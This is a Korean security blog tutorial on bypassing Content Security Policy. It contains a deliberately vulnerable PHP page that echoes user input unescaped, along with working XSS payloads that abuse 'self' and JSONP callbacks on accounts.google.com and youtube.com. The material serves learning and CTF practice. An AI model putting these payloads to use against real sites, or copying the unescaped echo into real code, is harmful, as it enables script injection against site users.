🗂️ INDEX

글 작성자: Universe7202

쿠키 냠냠

 

 

1. 업로드 기능을 활용한 bypass

서버에 다음과 같이 CSP가 적용되어 있다고 가정해 봅시다.

`script-src` 지시자에는 `self` 와  랜덤한 `nonce` 값이 설정되어 있습니다.

즉, `<script>alert(1)</script>` 와 같은 payload는 `nonce` 값이 없기 때문에 실행이 되지 않습니다.

<?php
    $nonce = base64_encode(sha1(RandomString()));
    $CSP = array(
        "default-src 'self'",
        "script-src 'self' 'nonce-$nonce'"
    );
    header("Content-Security-Policy: " . join("; ", $CSP));

    echo $_GET["data"];
?>

 

이를 우회하기 위해서는 `self`를 이용하면 됩니다. 만약 서버에 js 파일을 업로드 할 수 있거나, 사용자가 입력한 값만 그대로 출력하는 페이지가 있다면, 이를 이용하여 bypass 할 수 있습니다.

따라서 bypass payload는 다음과 같습니다.

http://localhost:8080/test.php?data=<script src="/ping?pong=alert(document.domain)"></script>

 

 

 

 

2. JSONP API를 활용한 bypass

JSONP를 지원하는 origin이 CSP에 지정되어 있다면, 다음과 같은 Origin으로부터 악용이 가능합니다.

 

2-1. accounts.google.com

다음과 같이 CSP가 설정되어 있다고 가정합시다.

script-src self accounts.google.com

`accounts.google.com` origin에는 다음과 같은 JSONP를 지원합니다.

`callback` 파라미터에 `alert(1);` 를 넣게 되면, 아래 사진처럼 응답을 받을 수 있습니다.

 

따라서, 이를 이용하여 다음과 같은 payload로 xss를 트리거 할 수 있습니다.

/test.php?data=<script src='https://accounts.google.com/o/oauth2/revoke?callback=alert(1);'></script>

 

2.2 youtube.com

다음과 같이 CSP가 설정되어 있다고 가정합시다.

script-src self youtube.com

youtube.com 호스트만 허용된 상태입니다. 이것도 마찬가지로 JSONP 를 이용한 XSS가 가능합니다.

이와 관련된 문제는 다음 링크에 있습니다.

 

hacktm ctf 2023 writeup

1. [web] Blog cookie 값을 `unserialize()` 하고 있다. 이를 활용하여 취약한 클레스를 찾다 보니, `Profile` 클래스가 눈에 들어왔다. `file_get_contents()` 함수가 `$this->picture_path` 맴버 변수 값을 통해 파일을 읽

lactea.kr

<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=alert(1)></script>

 

 

추가 예정